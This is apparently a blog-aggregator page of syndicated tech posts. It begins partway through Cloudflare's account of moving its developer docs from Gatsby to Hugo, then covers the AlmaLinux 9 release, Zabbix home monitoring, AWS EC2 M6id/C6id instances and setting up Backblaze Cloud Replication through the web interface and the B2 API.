When we did get to the point of deploying new docs changes, we began to be at the mercy of Gatsby’s long build times – in the worst case, almost an entire hour – just to compile Markdown and images into HTML. This negatively impacted our team’s ability to work quickly and efficiently as they improved our documentation. Ultimately, we were unable to find solutions to many of these issues, as they were core assumptions and characteristics of the underlying tools that we had chosen to build on — it was time for something new.

Built using Go, Hugo is incredibly fast at building large sites, has an active community, and is easily installable on a variety of operating systems. In our early discovery work, we found that Hugo would build our docs content in mere seconds. Since performance was a core motive for pursuing a rewrite, this was a significant factor in our decision.

How we migrated

When comparing frameworks, the most significant difference between Hugo and Gatsby – from a user’s standpoint – is the allowable contents of the Markdown files themselves. For example, Gatsby makes heavy use of MDX, allowing developers to author and import React components within their content pages. While this can be effective, MDX unfortunately is not CommonMark-compliant and, in turn, this means that its flavor of Markdown is required to be very flexible and permissive. This posed a problem when migrating to any other non-MDX-based solution, including Hugo, as these frameworks don’t grant the same flexibilities with Markdown syntax. Because of this, the largest technical challenge was converting the existing 1,600 markdown pages from MDX to a stricter, more standard Markdown variant that Hugo (or almost any framework) can interpret.

Not only did we have to convert 1,600 Markdown pages so that they’re rendered correctly by the new framework, we had to make these changes in a way that minimized the number of merge conflicts for when the migration itself was ready for deployment. There was a lot of work to be done as part of this migration – and work takes time! We could not stall or block the update cycles of the Developer Documentation repository, so we had to find a way to rename or modify every single file in the repository without gridlocking deployments for weeks.

The only way to solve this was through automation. We created a migration script that would apply all the necessary changes on the morning of the migration release day. Of course, this meant that we had to identify and apply the changes manually and then record that in JavaScript or Bash commands to make sweeping changes for the entire project.

For example, when migrating Markdown content, the migrator needs to take the file contents and parse them into an abstract syntax tree (AST) so that other functions can access, traverse, and modify a collection of standardized objects representing the content instead of resorting to a sequence string manipulations… which is scary and error-prone.

Since the project started with MDX, we needed a MDX-compatible parser which, in turn, produces its own AST with its own object standardizations. From there, one can “walk” – aka traverse – through the AST and add, remove, and/or edit objects and object properties. With the updated AST and a final traversal, a “stringifier” function can convert each object representation back to its string representation, producing updated file contents that differ from the original.

Below is an example snippet that utilizes mdast-util-from-markdown and mdast-util-to-markdown to create and stringify, respectively, the MDX AST and astray to traverse the AST with our custom modifications. For this example, we’re looking for heading and anchor nodes – both names are provided by the mdast-* utilities – so that we can read the primary header (<h1>) text and ensure that all internal Developer Documentation links are consistent:

import * as fs from 'fs';
import * as astray from 'astray';
import { toMarkdown } from 'mdast-util-to-markdown';
import { fromMarkdown } from 'mdast-util-from-markdown';

/**
 * @param {string} file The "*.md" file path.
 */
export async function modify(file) {
  let content = await fs.promises.read(file, 'utf8');
  let AST = fromMarkdown(content);
  let title = '';

  astray.walk(AST, {
    /**
     * Read the page's <h1> to determine page's title.
     */
    heading(node) {
      // ignore if not <h1> header
      if (node.depth !== 1) return;

      astray.walk(node, {
        text(t: MDAST.Text) {
          // Grab the text value of the H1
          title += t.value;
        },
      });

      return astray.SKIP;
    },
    
    /**
     * Update all anchor links (<a>) for consistent internal linking.
     */
    link(node) {
      let value = node.url;
      
      // Ignore section header links (same page)
      if (value.startsWith('#')) return;

      if (/^(https?:)?\/\//.test(value)) {
        let tmp = new URL(value);
        // Rewrite our own "https://developers.cloudflare.com" links
        // so that they are absolute, path-based links instead.
        if (tmp.origin === 'https://developers.cloudflare.com') {
          value = tmp.pathname + tmp.search + tmp.hash;
        }
      }
      
      // ... other normalization logic ...
      
      // Update the link's `href` value
      node.url = value;
    }
  });
  
  // Now the AST has been modified in place.
  // AKA, the same `AST` variable is (or may be) different than before.
  
  // Convert the AST back to a final string.
  let updated = toMarkdown(AST);
  
  // Write the updated markdown file
  await fs.promises.writeFile(file, updated);
}

https://gist.github.com/lukeed/d63a4561ce9859765d8f0e518b941642#file-cfblog-devdocs-0-js

The above is an abbreviated snippet of the modifications we needed to make during our migration. You may find all the AST traversals and manipulations we created as part of our migration on GitHub.

We also took this opportunity to analyze the thousands and thousands of code snippets we have throughout the codebase. These serve an important role as they are crucial aides in reference documentation or are presented alongside tutorials as recipes or examples. So we added a code formatter script that utilizes Prettier to apply a consistent code style across all code snippets. As a bonus side effect, Prettier would throw errors if any snippets had invalid syntax for their given language. Any of these were fixed manually and the `format` script has been added as part of our own CI process to ensure that all JavaScript, TypeScript, Rust, JSON, and/or C++ code we publish is syntactically valid!

Finally, we created a Makefile that coordinated the series of Node scripts and git commands we needed to make. This orchestrated the entire migration, boiling down all our work into a single make run command.

In effect, the majority of the migration Pull Request was the result of automated commits – over one million changes were applied across nearly 5,000 files in less than two minutes. With the help of product owners, we reviewed the newly generated documentation site and applied any fine-tuning adjustments where necessary.

Previously, with the Gatsby-based Workers Sites architecture, each Cloudflare product needed to be built and deployed as its own individual documentation site. These sites would then be managed and proxied by an umbrella Worker, listening on developers.cloudflare.com, which ensured that all requests were handled by the appropriate product-specific Worker Site. This worked well for our production needs, but made it complicated for contributors to replicate a similar setup during local development. With the move to Hugo, we were able to merge everything into a single project – in other words, 48 moving pieces became 1 single piece! This made it extremely easy to build and develop the entire Developer Docs locally, which is a big confidence booster when working.

A unified Hugo project also means that there’s only one build command and one deployable unit… This allowed us to move the Developer Docs to Cloudflare Pages! With Pages attached and configured for the GitHub repository, we immediately began making use of preview deployments as part of our PR review process and our production branch commits automatically queued new production deployments to the live site.

Why we’re excited

After all the changes were in place, we ended up with a near-identical replica of the Developer Documentation site. However, upon closer inspection, a number of major improvements had been made:

  1. Our application now has fewer moving pieces for development and deployment, which makes it significantly easier to understand and onboard other contributors and team members.
  2. Our development flow is a lot snappier and fully replicated the production behavior. This hugely increased our iteration speed and confidence.
  3. Our application was now built as an HTML-first static site. Even though it was always a content site, we are now shipping 90% less JavaScript bytes, which means that our visitors’ browsers are doing less work to view the same content.

The last point speaks to our web pages’ performance, which has real-world implications. These days, websites with faster page-load times are preferred over competitor sites with slower response times. This is true for human and bot users alike! In fact, this is so true that Google now takes page speed into consideration when ranking search results and offers tools like WebMasters and Lighthouse to help site owners track and improve their scores. Below, you can see the before-after comparison of our previous JS-first site to our HTML-first replacement:

We rebuilt Cloudflare's developer documentation - here's what we learned
We rebuilt Cloudflare's developer documentation - here's what we learned

Here you can see that our Performance grade has significantly improved! It’s this figure, which is a weighted score of the Metrics like First Contentful Paint, that is tied to Page Speed. While this does have SEO impact, the SEO score in a Lighthouse report has to do with Google Crawler’s ability to parse and understand the page’s metadata. This remains unchanged because the content (and its metadata) were not changed as part of the migration.

Conclusion

Developer documentation is incredibly important to the success of any product. At Cloudflare, we believe that technical docs are a product – one that we can continue to iterate on, improve, and make more useful for our customers.

One of the most effective ways to improve documentation is to make it easier for our writers to contribute to them. With our new Documentation Engine, we’re giving our product content team the ability to validate content faster with instantaneous local builds. Preview links via Cloudflare Pages allows stakeholders like product managers and engineering teams the ability to quickly review what the docs will actually look like in production.

As we invest more into our build and deployment pipeline, we expect to further develop our ability to validate both the content and technical implementation of docs as part of review – tools like automatic spell checking, link validation, and visual diffs are all things we’d like to explore in the future.

Importantly, our documentation continues to be 100% open source. If you read Cloudflare’s developer documentation, and have feedback, feel free to check out the project on GitHub and submit suggestions!

AlmaLinux 9 Now Available

Post Syndicated from original https://lwn.net/Articles/896438/

AlmaLinux 9, based on RHEL 9, has been released. Four architectures are supported, so ISO files are available for x86_64, Arm64, PowerPC, and IBM Z.

AlmaLinux OS 9.0 is based on upstream kernel version 5.14 and contains enhancements around cloud and container development and improvements to the web console (cockpit). This release also delivers enhancements for security and compliance, including additional security profiles, greatly improved SELinux performance and user authentication logs. Other various updates include Python 3.9, GCC 11 and the latest versions of LLVM, Rust and Go compilers to make modernizing the applications faster and easier. You can read more about it by checking out the Release Notes.

[…] The AlmaLinux OS Foundation would like to thank all those involved in the CentOS Stream 9 efforts, CentOS SIGs and others that made this release possible. Thank you to the Fedora and RHEL teams, as well as upstream projects and contributors everywhere. You Rock!

What’s Up, Home? – Zabbix the Weatherman

Post Syndicated from Janne Pikkarainen original https://blog.zabbix.com/whats-up-home-zabbix-the-weatherman/20897/

This week, I advanced my project on multiple fronts, so welcome to this little smorgasbord of different topics. In my future posts, I will go deeper into each topic as my project goes forward.

Zabbix the weatherman

Let me begin with a monitoring blooper.

As Zabbix has very well-working forecast/prediction functions for your usual IT capacity trending, I tried what happens if I let it predict the outdoor temperature based on recent temperatures. On my first try, this did not go as I planned.

You see, currently, here in Finland the temperatures change a lot during a 24 hours period: from nightly -10C or below temperatures to maybe +5C to +10C during the day. As I asked Zabbix to predict the weather based only on one hour of data one day ago, this did not go as planned.

OK, clearly the one hour worth of data was too little. What if ask Zabbix to base its forecast on one week worth of data?

The prediction slightly improves — at least it won’t predict a nuclear winter anymore — but only slightly. Zabbix in its little mind has no idea that the weather could get warmer due to the springtime. Or, in case Zabbix was right, I’ll let you know in a week.

Average data for Joe Average

As my monitoring setup collects more data, one thing I can get out of it will be averages. What’s the average temperature? What’s the average for this and that?

Above shows the average data for the last 24 hours, and on my Grafana dashboard the values change dynamically based on the time period I choose on it.

Who wouldn’t need home SLA reports?

Everybody knows how The Suits love their reports. I have this mental image where I think during their mornings they are like

[x] coffee
[x] warm bread
[x] orange juice
[x] classical music
[x] latest reports

And oh dear, their morning is ruined if the [x] is missing from the last entry. Poor Suits.

Anyway, as the recent Zabbix 6.0 brought us revamped Business Services Monitoring, why not use it for home monitoring, too? This part includes very much work in progress, but I will show you the current results.

When I’m finished, each room will be configured as its own Business Service. For now, I only have entered the room names and some other stuff. There is only one room with some actual content, for now, and it’s our bedroom. What happens if I click on it?

I will get to see if the lights and temperature are OK, both from a technical standpoint and for their values. In case the status would not be OK, the root cause column would show me the reason why everything is not OK — though I would not need to click my way this far, the data would be shown on the previous page already.

As for SLAs (Service Level Agreement, for example, if you promise that your service will be available 99.9% of the time, it better be or your customer will be a sad panda and yell at you), those are also a work in progress. Zabbix can be let to generate daily/weekly/whatever SLA reports for any of the configured Business Services. I have yet to build them, but I have one for my home router already.

Come on, it’s sunny, let’s go out, Zabbix!

True story: this morning my wife asked that could I add pollen monitoring to Zabbix. My non-technical wife is getting excited about home monitoring, too! (I think she’s only pretending. Still AWESOME!)
I still need to add pollen monitoring — the data is available as open data — but I initialized The Great Outdoors Monitoring in two other areas.

Where’s my train?

Just before creating this post, I proved to myself that I can show live train data on Grafana. I sure got a screenful, as I have not played around with GraphQL too much, and for now, I got way more trains than I planned to get, and the data contains extra fields I need to filter out with Grafana’s Organise Fields. Still, connection established! Wooooo!

What’s for lunch?

Only added one lunch restaurant for now, but in theory, I will receive an alert whenever the restaurant posts its new weekly lunch menu. Zabbix is configured to be a good netizen though and it will only try to fetch the menu every one hour on Monday morning, no point to poll them all week, so let’s see how this will work.

That’s all for now. See you next week!

I have been working at Forcepoint since 2014 and I am a walking monitoring unit. — Janne Pikkarainen

* Please note, that this blog post was originally written a few months ago, in early Spring, and the temperature records do not correspond to the actual weather at the time of publication.

The post What’s Up, Home? – Zabbix the Weatherman appeared first on Zabbix Blog.

New – Amazon EC2 M6id and C6id Instances with Up to 7.6 TB Local NVMe Storage

Post Syndicated from Channy Yun original https://aws.amazon.com/blogs/aws/new-amazon-ec2-m6id-and-c6id-instances-with-up-to-7-6-tb-local-nvme-storage/

Last year, we launched the Amazon EC2 M6i instances and C6i instances, our sixth-generation offerings that include 3rd generation Intel Xeon Scalable processors.

Today we are expanding Amazon EC2 M6id and C6id instances, backed by NVMe-based SSD block-level instance storage physically connected to the host server. These instances are powered by the Intel Xeon Scalable processors (Ice Lake) with an all-core turbo frequency of 3.5 GHz, equipped with up to 7.6 TB of local NVMe-based SSD block-level storage, and deliver up to 15 percent better price performance compared to previous generation instances.

M6id instances are ideal for workloads that require a balance of compute and memory resources along with high-speed, low-latency local block storage, including data logging and media processing. C6id is ideal for compute-intensive workloads, including those that need access to high-speed, low-latency local storage like video encoding, image manipulation, and other forms of media processing. Both M6id and C6id will also benefit applications that need temporary storage of data, such as batch and log processing and applications that need caches and scratch files.

Compared to previous generation instances, new instance types provide:

  • Up to 58 percent higher storage per vCPU and 34 percent lower cost per TB compared to M5d instances, and up to 138 percent higher storage per vCPU and 56 percent lower cost per TB compared with C5d instances.
  • Larger instance sizes (32xlarge) with up to 128 vCPUs and 512 GiB (M6id) or 256 GiB (C6id) of memory that make it easier and more cost-efficient to consolidate workloads and scale up applications.
  • Up to 15 percent improvement in compute price performance and 20 percent higher memory bandwidth.
  • 2 times increased bandwidth up to 40 Gbps for Amazon EBS and 50 Gbps for networking.

Here are the specs of M6id instances in detail:

Instance Name vCPUs RAM (GiB) Local NVMe SSD Storage (GB) EBS Throughput (Gbps) Network Bandwidth (Gbps)
m6id.large 2 8 1 x 118 Up to 10 Up to 12.5
m6id.xlarge 4 16 1 x 237 Up to 10 Up to 12.5
m6id.2xlarge 8 32 1 x 474 Up to 10 Up to 12.5
m6id.4xlarge 16 64 1 x 950 Up to 10 Up to 12.5
m6id.8xlarge 32 128 1 x 1900 10 12.5
m6id.12xlarge 48 192 2 x 1425 15 18.75
m6id.16xlarge 64 156 2 x 1900 20 25
m6id.24xlarge 96 384 4 x 1425 30 37.5
m6id.32xlarge 128 512 4 x 1900 40 50
m6id.metal 128 512 4 x 1900 40 50

Here are also the specs of C6id instances in detail:

Instance Name vCPUs RAM (GiB) Local NVMe SSD Storage (GB) EBS Throughput (Gbps) Network Bandwidth (Gbps)
c6id.large 2 4 1 x 118 Up to 10 Up to 12.5
c6id.xlarge 4 8 1 x 237 Up to 10 Up to 12.5
c6id.2xlarge 8 16 1 x 474 Up to 10 Up to 12.5
c6id.4xlarge 16 32 1 x 950 Up to 10 Up to 12.5
c6id.8xlarge 32 64 1 x 1900 10 12.5
c6id.12xlarge 48 96 2 x 1425 15 18.75
c6id.16xlarge 64 128 2 x 1900 20 25
c6id.24xlarge 96 192 4 x 1425 30 37.5
c6id.32xlarge 128 256 4 x 1900 40 50
c6id.metal 128 256 4 x 1900 40 50

You can use any Amazon Machine Images (AMIs) that include drivers for the Elastic Network Adapter (ENA) and NVMe. For optimal networking performance on these new instances, ENA driver update may be required. For more information on optimal ENA driver for M6id and C6id instances, see this article on migrating instances.

Here are a couple of things to remind you about the local NVMe storage on these instances:

  • You don’t have to specify a block device mapping in your AMI or during the instance launch; the local storage will show up as one or more devices (/dev/nvme*1 on Linux) after the guest operating system has booted.
  • Each local NVMe device is hardware encrypted using the XTS-AES-256 block cipher and a unique key. Each key is destroyed when the instance is stopped or terminated.
  • Local NVMe devices have the same lifetime as the instance they are attached to and do not stick around after the instance has been stopped or terminated.

Now Available
You can launch M6id and C6id instances today in the AWS US East (Ohio), US East (N. Virginia), US West (Oregon), and Europe (Ireland) Regions as On-Demand, Spot, and Reserved Instances or as part of a Savings Plan. As usual with EC2, you pay for what you use. For more information, see the EC2 pricing page.

To learn more, visit our Amazon EC2 M6i instances or C6i instances page, and please send feedback to AWS re:Post for EC2 or through your usual AWS Support contacts.

– Channy

Looking Forward to Backblaze Cloud Replication: Everything You Need to Know

Post Syndicated from Pat Patterson original https://www.backblaze.com/blog/looking-forward-to-backblaze-cloud-replication-everything-you-need-to-know/

Backblaze Cloud Replication—currently in private beta—enables Backblaze customers to store files in multiple regions, or create multiple copies of files in one region, across the Backblaze Storage Cloud. This capability, as we explained in an earlier blog post, allows you to create geographically separate copies of data for compliance and continuity, keep data closer to its consumers, or maintain a live copy of production data for testing and staging. Today we’ll look at how you can get started with Cloud Replication, so you’ll be ready for its release, likely early next month.

Backblaze Cloud Replication: The Basics

Backblaze B2 Cloud Storage organizes data into files (equivalent to Amazon S3’s objects) in buckets. Very simply, Cloud Replication allows you to create rules that control replication of files from a source bucket to a destination bucket. The source and destination buckets can be in the same or different accounts, or in the same or different regions.

Here’s a simple example: Suppose I want to replicate files from my-production-bucket to my-staging-bucket in the same account, so I can run acceptance tests on an application with real-life data. Using either the Backblaze web interface or the B2 Native API, I would simply create a Cloud Replication rule specifying the source and destination buckets in my account. Let’s walk through a couple of examples in each interface.

Cloud Replication via the Web Interface

Log in to the account containing the source bucket for your replication rule. Note that the account must have a payment method configured to participate in replication. Cloud Replication will be accessible via a new item in the B2 Cloud Storage menu on the left of the web interface:

Clicking Cloud Replication opens a new page in the web interface:

Click Replicate Your Data to create a new replication rule:

Configuring Replication Within the Same Account

To implement the simple rule, “replicate files from my-production-bucket to my-staging-bucket in the same account,” all you need to do is select the source bucket, set the destination region the same as the source region, and select or create the destination bucket:

Configuring Replication to a Different Account

To replicate data via the web interface to a different account, you must be able to log in to the destination account. Click Authenticate an existing account to log in. Note that the destination account must be enabled for Backblaze B2 and, again, must have a payment method configured:

After authenticating, you must select a bucket in the destination account. The process is the same whether the destination account is in the same or a different region:

Note that, currently, you may configure a bucket as a source in a maximum of two replication rules. A bucket can be configured as a destination in any number of rules.

Once you’ve created the rule, it is accessible via the web interface. You can pause a running rule, run a paused rule, or delete the rule altogether:

Replicating Data

Once you have created the replication rule, you can manipulate files in the source bucket as you normally would. By default, existing files in the source bucket will be copied to the destination bucket. New files, and new versions of existing files, in the source bucket will be replicated regardless of whether they are created via the Backblaze S3 Compatible API, the B2 Native API, or the Backblaze web interface. Note that the replication engine runs on a distributed system, so the time to complete replication is based on the number of other replication jobs scheduled, the number of files to replicate, and the size of the files to replicate.

Checking Replication Status

Click on a source or destination file in the web interface to see its details page. The file’s replication status is at the bottom of the list of attributes:

There are four possible values of replication status:

  • pending: The file is in the process of being replicated. If there are two rules, at least one of the rules is processing. (Reminder: Currently, you may configure a bucket as a source in a maximum of two replication rules.) Check again later to see if it has left this status.
  • completed: This status represents a successful replication. If two rules are configured, both rules have completed successfully.
  • failed: A non-recoverable error has occurred, such as insufficient permissions to write the file into the destination bucket. The system will not try again to process this file. If two rules are configured, at least one has failed.
  • replica: This file was created by the replication process. Note that replica files cannot be used as the source for further replication.

Cloud Replication and Application Keys

There’s one more detail to examine in the web interface before we move on to the API. Creating a replication rule creates up to two Application Keys; one with read permissions for the source bucket, if the source bucket is not already associated with an Application Key, and one with write permissions for the destination bucket.

The keys are visible in the App Keys page of the web interface:

You don’t need to worry about these keys if you are using the web interface, but it is useful to see how the pieces fit together if you are planning to go on to use the B2 Native API to configure Cloud Replication.

This short video walks you through setting up Cloud Replication in the web interface:

Cloud Replication via the B2 Native API

Configuring cloud replication in the web interface is quick and easy for a single rule, but quickly becomes burdensome if you have to set up multiple replication rules. The B2 Native API allows you to programmatically create replication rules, enabling automation and providing access to two features not currently accessible via the web interface: setting a prefix to constrain the set of files to be replicated and excluding existing files from the replication rule.

Configuring Replication

To create a replication rule, you must include replicationConfiguration when you call b2_create_bucket or b2_update_bucket. The source bucket’s replicationConfiguration must contain asReplicationSource, and the destination bucket’s replicationConfiguration must contain asReplicationDestination. Note that both can be present where a given bucket is the source in one replication rule and the destination in another.

Let’s illustrate the process with a concrete example. Let’s say you want to replicate newly created files with the prefix master_data/, and new versions of those files, from a bucket in the U.S. West region to one in the EU Central region so that you have geographically separate copies of that data. You don’t want to replicate any files that already exist in the source bucket.

Assuming the buckets already exist, you would first create a pair of Application Keys: one in the source account, with read permissions for the source bucket, and another in the destination account, with write permissions for the destination bucket.

Next, call b2_update_bucket with the following message body to configure the source bucket:

{
    "accountId": "<source account id/>",
    "bucketId": "<source bucket id/>",
    "replicationConfiguration": {
        "asReplicationSource": {
            "replicationRules": [
                {
                    "destinationBucketId": "<destination bucket id>",
                    "fileNamePrefix": "master_data/",
                    "includeExistingFiles": false,
                    "isEnabled": true,
                    "priority": 1,
                    "replicationRuleName": "replicate-master-data"
                }
            ],
            "sourceApplicationKeyId": "<source application key id/>"
        }
    }
}

Finally, call b2_update_bucket with the following message body to configure the destination bucket:

{
  "accountId": "<destination account id>",
  "bucketId": "<destination bucket id>",
  "replicationConfiguration": {
    "asReplicationDestination": {
      "sourceToDestinationKeyMapping": {
        "<source application key id/>": "<destination application key id>"
      }
    },
    "asReplicationSource": null
  }
}

You can check your work in the web interface:

Note that the “file prefix” and “include existing buckets” configuration is not currently visible in the web interface.

Viewing Replication Rules

If you are planning to use the B2 Native API to set up replication rules, it’s a good idea to experiment with the web interface first and then call b2_list_buckets to examine the replicationConfiguration property.

Here’s an extract of the configuration of a bucket that is both a source and destination:

{
  "accountId": "e92db1923dce",
  "bucketId": "2e2982ddebf12932830d0c1e",
  ...
  "replicationConfiguration": {
    "isClientAuthorizedToRead": true,
    "value": {
      "asReplicationDestination": {
        "sourceToDestinationKeyMapping": {
          "000437047f876700000000005": "003e92db1923dce0000000004"
        }
      },
      "asReplicationSource": {
        "replicationRules": [
          {
            "destinationBucketId": "0463b7a0a467fff877f60710",
            "fileNamePrefix": "",
            "includeExistingFiles": true,
            "isEnabled": true,
            "priority": 1,
            "replicationRuleName": "replication-eu-to-us"
          }
        ],
        "sourceApplicationKeyId": "003e92db1923dce0000000003"
      }
    }
  },
  ...
}

Checking a File’s Replication Status

To see the replication status of a file, including whether the file is itself a replica, call b2_get_file_info and examine the replicationStatus field. For example, looking at the same file as in the web interface section above:

{
  ...
  "bucketId": "548377d0a467fff877f60710",
  ...
  "fileId": "4_z548377d0a467fff877f60710_f115587450d2c8336_d20220406_
m162741_c000_v0001066_t0046_u01649262461427",
  ...
  "fileName": "Logo Slide.png",
  ...
  "replicationStatus": "completed",
  ...
}

This short video runs through the various API calls:

How Much Will This Cost?

The majority of fees for Cloud Replication are identical to standard B2 Cloud Storage billing: You pay for the total data you store, replication (download) fees, and for any related transaction fees. For details regarding billing, click here.

The replication fee is only incurred between cross-regional accounts. For example, a source in the U.S. West and a destination in EU Central would incur replication fees, which are priced identically to our standard download fee. If the replication rule is created within a region—for example, both source and destination are located in our U.S. West region—there is no replication fee.

How to Start Replicating

Watch the Backblaze Blog for an announcement when we make Backblaze Cloud Replication generally available (GA), likely early next month. As mentioned above, you will need to set up a payment method on accounts included in replication rules. If you don’t yet have a Backblaze B2 account, or you need to set up a Backblaze B2 account in a different region from your existing account, sign up here and remember to select the region from the dropdown before hitting “Sign Up for Backblaze B2.”

The post Looking Forward to Backblaze Cloud Replication: Everything You Need to Know appeared first on Backblaze Blog | Cloud Storage & Cloud Backup.

The collective thoughts of the interwebz